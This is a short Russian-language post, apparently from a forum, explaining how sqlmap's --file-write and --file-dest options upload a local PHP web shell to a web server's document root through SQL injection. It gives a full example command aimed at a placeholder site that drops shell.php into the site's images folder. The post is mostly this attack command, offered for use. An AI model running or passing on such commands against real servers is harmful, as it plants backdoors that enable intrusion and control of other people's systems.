В sqlmap --file-write="C:\shell.php" sqlmap берет шелл куда ты его положил на своем жд, --file-dest="/var/www/html/site.com" это куда sqlmap будет копировать файл шелла на сервере, при условии что есть права на запись файла.

К примеру так.

python sqlmap.py -u "http://dcsdcsdcds.com/index.php?id=12

--random-agent --file-write="C:\sqlmap\shell.php" --file-dest="var/www/html/dcsdcsdcds.com/images/"